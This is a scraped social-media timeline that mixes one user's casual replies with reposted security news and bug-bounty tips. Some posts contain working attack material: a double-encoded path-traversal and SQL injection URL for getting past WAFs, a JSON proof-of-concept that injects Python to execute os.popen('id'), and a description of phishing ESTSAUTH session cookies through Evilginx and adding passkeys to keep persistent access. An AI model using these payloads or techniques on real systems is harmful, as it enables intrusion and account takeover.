Fluxxset

A driven entrepreneur focused on finding creative solutions to complex problems. Committed to making an impact.

[Dark Web Informer @DarkWebInformer]

FBI Watchdog 3.0.0: A multi-layered domain monitoring tool that detects law enforcement seizures, DNS changes, HTTP fingerprint shifts, WHOIS record mutations, and IP address changes across clearnet domains and Tor onion sites.

https://t.co/3Q6SKLei3v

[Kuba Gretzky @mrgretzky]

This is HUGE! 🪝🐟

Make sure to check out what @NathanMcNulty has cooked up!

You can use webhooks with Evilginx Pro to send out the ESTSAUTH cookie, captured through phishing, and use Nathan's script to register a passkey for persistence automatically. 🔥

Nathan took a quick trip to the dark side... for science! 😂

[Fluxxset @FluxxSet]

@nikhil_nocturne Exit plan ?

[Sweep @0xSweep]

How easy it is for hackers to bypass facial verification 😮

[Fluxxset @FluxxSet]

@Sima27045019590 Yep I did the same and got their response today , not bad as compare to other free software’s support teams 👍🏻

[Fluxxset @FluxxSet]

@TrustWallet there is swap issue in LTC
Some division by zero error in ios latest version

[Dark Web Informer @DarkWebInformer]

😂

[NullSecurityX @NullSecurityX]

🔍 Bug Bounty Tip: WAF Bypass
Evade WAF’s URL normalization with double encoding (%252f) or unusual paths.

Example: /api/v1/%2e%2e/%2e%2e/config?id=1%252bUNION%252bSELECT%252bsecrets--

Test only on authorized systems!
#Cybersecurity #BugBounty

[Cyber Security News @The_Cyber_News]

🔐 WhatsApp Crypt Tool to Encrypt and Decrypt WhatsApp Backups

Source: https://t.co/pWtX5idOxz

An open-source solution for handling encrypted WhatsApp backups. The wa-crypt-tools suite, hosted on GitHub, decrypts and encrypts .crypt12, .crypt14, and .crypt15 files from WhatsApp and WhatsApp Business, provided users supply the required key file or 64-character key.​

wa-crypt-tools simplifies access to WhatsApp's end-to-end encrypted backups, which store chat histories, media, and metadata in SQLite databases or ZIP archives.

#cybersecuritynews

[Elorm Daniel @elormkdaniel]

Hackers exploited Zero-click vulnerability in Samsung S25 Ultra under 1 min Pwn20wn 2025 hacking Contest and earned $100,000 💀

[Rishi @rxerium]

🚨 Critical RCE (CVSS 10) vulnerability affecting n8n instances: CVE-2025-68613

I've created a vulnerability detection script here:
https://t.co/WVGrr4SUSM

No signs of active exploitation, yet.

Patches are available and users are strongly advised to upgrade to version 1.122.0 or later, which introduces additional safeguards to restrict expression evaluation.

Workarounds are available as mentioned here:
https://t.co/bRpVVPMBfY

[H4x0r.DZ 🇰🇵 @h4x0r_dz]

That's insane! 850,000$ was paid for a WAF bypasses reports
#BugBounty

[Md Ismail Šojal 🕷️ @0x0SojalSec]

WAF Bypass Discovered - Akamai & Cloudflare

A fresh technique has been spotted that successfully bypasses WAFs like Akamai and Cloudflare.

#infosec #Cybersecurity #bugbountytip

[Yunus Emre Öztaş @ynsmroztas]

Always thoroughly examine your targets' .js and .js.map files; these files can always provide you with great information about your target. 🥳👍
My tool: https://t.co/0cYQPyZMtW

#DevTools #JsMap #bugbountytip #bugbountytips #InfoSec #recon

[Mr.ZheeV @GhiffariZaid]

Yay, I was awarded a $5,250 bounty for Critical report Blind Xss on @Hacker0x01! https://t.co/9D2G4U7DBS #TogetherWeHitHarder
#BugBounty #hackerone

[DarkShadow @darkshadow2bd]

💀RCE via Python Code Injection:

✅ POC:
{
"name": "darkshadow",
"args": {},
"json_schema": {"type": "object", "properties": {}},
"source_code": "def darkshadow():\n import os\n data='0'.encode('utf-8')\n return ''+os.popen('id').read()"
}

Join my BugBounty telegram channel 👉🏼 https://t.co/LeJHHPweci

[Fluxxset @FluxxSet]

@IndianTechGuide Not worth it🙏🏻

Same thing happened with the Perplexity and Airtel

Even free version was working better than the premium version for free they offered

[Fluxxset @FluxxSet]

@H4cktus @jayesh25 @itz_mg_ @_naaash_ @Hacker0x01 Bag bounty space is becoming challenging day by day 🦵🏻

[RinX 🪐 @0xrinx]

we all laughed. then we cried

[Fluxxset @FluxxSet]

@ide9x In cloud fair, there is one setting
Inside security, there is option called TLS SSL
There you will find one option called config in which unit to change from fix to flexible

That should solve the issue